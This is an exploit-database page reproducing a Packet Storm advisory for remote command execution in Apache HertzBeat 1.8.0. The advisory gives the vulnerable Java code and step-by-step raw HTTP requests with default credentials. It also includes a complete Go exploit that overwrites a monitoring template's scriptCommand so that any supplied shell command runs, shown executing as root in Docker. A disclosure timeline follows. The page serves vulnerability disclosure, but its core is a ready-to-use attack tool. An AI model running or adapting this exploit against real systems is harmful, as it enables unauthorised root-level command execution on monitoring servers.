Lucene search
K

📄 Apache HertzBeat 1.8.0 Remote Command Execution

🗓️ 14 May 2026 00:00:00Reported by Brett GervasoniType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 31 Views

Authenticated user can overwrite a template via YAML, enabling arbitrary command execution through the script protocol.

Code
# Exploit Title: Apache HertzBeat 1.8.0 - Remote Code Execution 
    # Google Dork: N/A
    # Date: 2026-03-09
    # Exploit Author: Brett Gervasoni
    # Vendor Homepage: https://hertzbeat.apache.org/
    # Software Link: https://github.com/apache/hertzbeat/releases
    # Version: 1.8.0
    # Tested on: Linux (Docker; official HertzBeat image, uid=0 in container)
    # CVE: N/A
    
    ================================================================================
    METADATA
    ================================================================================
    
    Severity: CRITICAL
    Impact: Arbitrary command execution via monitoring template (script protocol)
    CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
    Product: Apache HertzBeat — https://hertzbeat.apache.org/ (v1.8.0)
    Affected Component: ScriptCollectImpl.collect()
    Affected Endpoint: PUT /api/apps/define/yml
    Authentication: Required (standard user or admin)
    
    Note: Apache Security does not classify this as a vulnerability; see HertzBeat
    security model: https://hertzbeat.apache.org/docs/help/security_model/
    
    ================================================================================
    VULNERABILITY SUMMARY
    ================================================================================
    
    HertzBeat allows arbitrary OS commands to be executed via the scriptCommand
    parameter in a monitoring template definition.
    
    An authenticated user can overwrite a monitoring template definition via
    PUT /api/apps/define/yml. The "define" body contains YAML parsed into a Job.
    When the YAML specifies protocol: script, the attacker-controlled scriptCommand
    string is passed to ProcessBuilder (bash -c "<command>") without sanitization.
    
    If the overwritten template has active monitoring instances, updateAppCollectJob()
    re-dispatches them, triggering execution within seconds. If none exist, the
    attacker can create one via POST /api/monitor to trigger immediate execution.
    
    The default Docker deployment runs the process as root (uid=0).
    
    ================================================================================
    VULNERABLE CODE (REFERENCE)
    ================================================================================
    
    Sink — ScriptCollectImpl.java (approx. lines 74–114) — direct execution:
    
        public void collect(CollectRep.MetricsData.Builder builder, Metrics metrics) {
            ScriptProtocol scriptProtocol = metrics.getScript();
            // ...
            if (StringUtils.hasText(scriptProtocol.getScriptCommand())) {
                switch (scriptProtocol.getScriptTool()) {
                    case BASH -> processBuilder = new ProcessBuilder(
                        BASH, BASH_C, scriptProtocol.getScriptCommand().trim());  // payload
                    // ...
                }
            }
            // ...
            Process process = processBuilder.start();  // executed
        }
    
    YAML gadget blocking — AppController.java (approx. 55–59) — blocks SnakeYAML
    gadget strings, not shell command injection:
    
        private static final String[] RISKY_STR_ARR = {"ScriptEngineManager", "URLClassLoader", "!!",
                "ClassLoader", "AnnotationConfigApplicationContext", "FileSystemXmlApplicationContext",
                "GenericXmlApplicationContext", "GenericGroovyApplicationContext", "GroovyScriptEngine",
                "GroovyClassLoader", "GroovyShell", "ScriptEngine", "ScriptEngineFactory",
                "XmlWebApplicationContext", "ClassPathXmlApplicationContext", "MarshalOutputStream",
                "InflaterOutputStream", "FileOutputStream"};
    
    ================================================================================
    PROOF OF CONCEPT — RAW HTTP
    ================================================================================
    
    Replace TARGET with the HertzBeat host. Default port is 1157. Example uses a
    standard user "operator" / "hertzbeat" (user role); admin with default
    password also works.
    
    --- Step 1: Authenticate ---
    
    POST /api/account/auth/form HTTP/1.1
    Host: TARGET:1157
    Content-Type: application/json
    
    {"type":1,"identifier":"operator","credential":"hertzbeat"}
    
    Response: data.token (JWT) — use as Bearer below.
    
    --- Step 2: Overwrite linux_script template ---
    
    PUT /api/apps/define/yml HTTP/1.1
    Host: TARGET:1157
    Authorization: Bearer <JWT>
    Content-Type: application/json
    
    {"define":"app: linux_script\ncategory: os\nname:\n  en-US: Linux Script\n  zh-CN: Linux Script\nparams:\n  - field: host\n    name:\n      en-US: Host\n      zh-CN: Host\n    type: host\n    required: true\nmetrics:\n  - name: basic\n    i18n:\n      en-US: Basic\n      zh-CN: Basic\n    priority: 0\n    fields:\n      - field: result\n        type: 1\n        i18n:\n          en-US: Result\n          zh-CN: Result\n    protocol: script\n    script:\n      scriptTool: bash\n      charset: UTF-8\n      scriptCommand: id > /tmp/pwned\n      parseType: multiRow\n"}
    
    Decoded define (YAML):
    
    app: linux_script
    category: os
    name:
      en-US: Linux Script
      zh-CN: Linux Script
    params:
      - field: host
        name:
          en-US: Host
          zh-CN: Host
        type: host
        required: true
    metrics:
      - name: basic
        i18n:
          en-US: Basic
          zh-CN: Basic
        priority: 0
        fields:
          - field: result
            type: 1
            i18n:
              en-US: Result
              zh-CN: Result
        protocol: script
        script:
          scriptTool: bash
          charset: UTF-8
          scriptCommand: id > /tmp/pwned
          parseType: multiRow
    
    Expected response:
    
    HTTP/1.1 200 OK
    Content-Type: application/json
    
    {"code":0,"msg":null,"data":null}
    
    --- Step 3: Create monitor (if no linux_script monitors exist) ---
    
    POST /api/monitor HTTP/1.1
    Host: TARGET:1157
    Authorization: Bearer <JWT>
    Content-Type: application/json
    
    {"monitor":{"name":"rce-test","app":"linux_script","host":"127.0.0.1","intervals":30,"status":1},"params":[{"field":"host","paramValue":"127.0.0.1","type":1}]}
    
    --- Step 4: Verify (example: Docker) ---
    
    docker exec hertzbeat cat /tmp/pwned
    
    Expected:
    
    uid=0(root) gid=0(root) groups=0(root)
    
    ================================================================================
    EXPLOIT CODE — script_command_rce.go (Go)
    ================================================================================
    
    package main
    
    import (
    	"bytes"
    	"encoding/json"
    	"fmt"
    	"io"
    	"math/rand"
    	"net/http"
    	"os"
    	"strings"
    )
    
    const target = "http://localhost:1157"
    
    type authResponse struct {
    	Code int `json:"code"`
    	Data struct {
    		Token string `json:"token"`
    	} `json:"data"`
    }
    
    type apiResponse struct {
    	Code int    `json:"code"`
    	Msg  string `json:"msg"`
    }
    
    func main() {
    	if len(os.Args) < 2 {
    		fmt.Fprintf(os.Stderr, "Usage: %s <command>\n", os.Args[0])
    		fmt.Fprintf(os.Stderr, "Example: %s \"id > /tmp/pwned\"\n", os.Args[0])
    		os.Exit(1)
    	}
    	cmd := strings.Join(os.Args[1:], " ")
    
    	fmt.Println("============================================================")
    	fmt.Println(" HertzBeat ScriptCollectImpl RCE")
    	fmt.Println("============================================================")
    	fmt.Println()
    
    	fmt.Println("[*] Authenticating...")
    
    	token, err := authenticate()
    	if err != nil {
    		fmt.Fprintf(os.Stderr, "[-] Auth failed: %v\n", err)
    		os.Exit(1)
    	}
    
    	fmt.Printf("[+] Got token: %s...\n\n", token[:40])
    
    	fmt.Println("[*] Overwriting linux_script template...")
    	fmt.Printf("    PUT /api/apps/define/yml\n")
    	fmt.Printf("    scriptCommand: %s\n", cmd)
    
    	err = putMaliciousDefine(token, cmd)
    	if err != nil {
    		fmt.Fprintf(os.Stderr, "[-] Failed to overwrite template: %v\n", err)
    		os.Exit(1)
    	}
    
    	fmt.Println("[+] Template overwritten.")
    	fmt.Println()
    
    	fmt.Println("[*] Creating monitor instance to trigger collection...")
    	fmt.Println("    POST /api/monitor with app: linux_script")
    
    	err = createMonitor(token)
    	if err != nil {
    		fmt.Fprintf(os.Stderr, "[-] Failed to create monitor: %v\n", err)
    		fmt.Println("[*] This may fail if a monitor already exists — checking anyway...")
    	} else {
    		fmt.Println("[+] Monitor created.")
    		fmt.Println()
    	}
    
    	fmt.Println("[+] Completed. If it wasn't executed instantly, wait ~30 seconds for the collector.")
    	fmt.Printf("[+] Command: %s\n\n", cmd)
    	fmt.Println("[*] Verify with (assuming its running in docker locally):")
    	fmt.Println("    docker exec hertzbeat <check your payload>")
    }
    
    func authenticate() (string, error) {
    	body := `{"type":1,"identifier":"operator","credential":"hertzbeat"}`
    
    	resp, err := http.Post(target+"/api/account/auth/form", "application/json", bytes.NewBufferString(body))
    	if err != nil {
    		return "", err
    	}
    
    	defer resp.Body.Close()
    
    	var result authResponse
    	if err := json.NewDecoder(resp.Body).Decode(&result); err != nil {
    		return "", err
    	}
    
    	if result.Code != 0 || result.Data.Token == "" {
    		return "", fmt.Errorf("unexpected response code %d", result.Code)
    	}
    
    	return result.Data.Token, nil
    }
    
    func putMaliciousDefine(token, command string) error {
    	define := fmt.Sprintf(`app: linux_script
    category: os
    name:
      en-US: Linux Script
      zh-CN: Linux Script
    params:
      - field: host
        name:
          en-US: Host
          zh-CN: Host
        type: host
        required: true
    metrics:
      - name: basic
        i18n:
          en-US: Basic
          zh-CN: Basic
        priority: 0
        fields:
          - field: result
            type: 1
            i18n:
              en-US: Result
              zh-CN: Result
        protocol: script
        script:
          scriptTool: bash
          charset: UTF-8
          scriptCommand: "%s && echo result done"
          parseType: multiRow
    `, command)
    
    	payload, _ := json.Marshal(map[string]string{"define": define})
    
    	req, _ := http.NewRequest("PUT", target+"/api/apps/define/yml", bytes.NewBuffer(payload))
    	req.Header.Set("Content-Type", "application/json")
    	req.Header.Set("Authorization", "Bearer "+token)
    
    	resp, err := http.DefaultClient.Do(req)
    	if err != nil {
    		return err
    	}
    
    	defer resp.Body.Close()
    
    	respBody, _ := io.ReadAll(resp.Body)
    
    	var result apiResponse
    	if err := json.Unmarshal(respBody, &result); err != nil {
    		return fmt.Errorf("HTTP %d: %s", resp.StatusCode, string(respBody))
    	}
    
    	if result.Code != 0 {
    		return fmt.Errorf("API error (code %d): %s", result.Code, result.Msg)
    	}
    
    	return nil
    }
    
    func createMonitor(token string) error {
    	suffix := randSuffix()
    	name := fmt.Sprintf("rce-poc-%s", suffix)
    	body := fmt.Sprintf(`{"monitor":{"name":"%s","app":"linux_script","host":"127.0.0.1","intervals":30,"status":1},"params":[{"field":"host","paramValue":"127.0.0.1","type":1}]}`, name)
    
    	req, _ := http.NewRequest("POST", target+"/api/monitor", bytes.NewBufferString(body))
    	req.Header.Set("Content-Type", "application/json")
    	req.Header.Set("Authorization", "Bearer "+token)
    
    	resp, err := http.DefaultClient.Do(req)
    	if err != nil {
    		return err
    	}
    
    	defer resp.Body.Close()
    
    	respBody, _ := io.ReadAll(resp.Body)
    	var result apiResponse
    	if err := json.Unmarshal(respBody, &result); err != nil {
    		return fmt.Errorf("HTTP %d: %s", resp.StatusCode, string(respBody))
    	}
    
    	if result.Code != 0 {
    		return fmt.Errorf("API error (code %d): %s", result.Code, result.Msg)
    	}
    	return nil
    }
    
    func randSuffix() string {
    	const chars = "abcdefghijklmnopqrstuvwxyz0123456789"
    	b := make([]byte, 8)
    
    	for i := range b {
    		b[i] = chars[rand.Intn(len(chars))]
    	}
    
    	return string(b)
    }
    
    ================================================================================
    NOTES
    ================================================================================
    
    - A standard user (e.g. operator:hertzbeat, user role) is sufficient; admin is
      not required for the described flow.
    - A new custom app name (e.g. app: rce_custom) can be registered with POST
      instead of PUT to avoid overwriting an existing definition; then create a
      monitor for that app.
    
    ================================================================================
    DISCLOSURE / VENDOR RESPONSE (SUMMARY)
    ================================================================================
    
    Apache Security indicated this aligns with the documented security model: only
    trusted operators should receive accounts; customization is intentional.
    Role-based permission controls are still evolving; see vendor documentation.
    
    Reporting timeline:
    - 2026-02-19: Reported to Apache Security
    - 2026-02-19 to 2026-03-04: Discussion on post-authentication issues
    - 2026-03-04: Apache position communicated (risk accepted per security model)
    - 2026-03-09: Public advisory

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation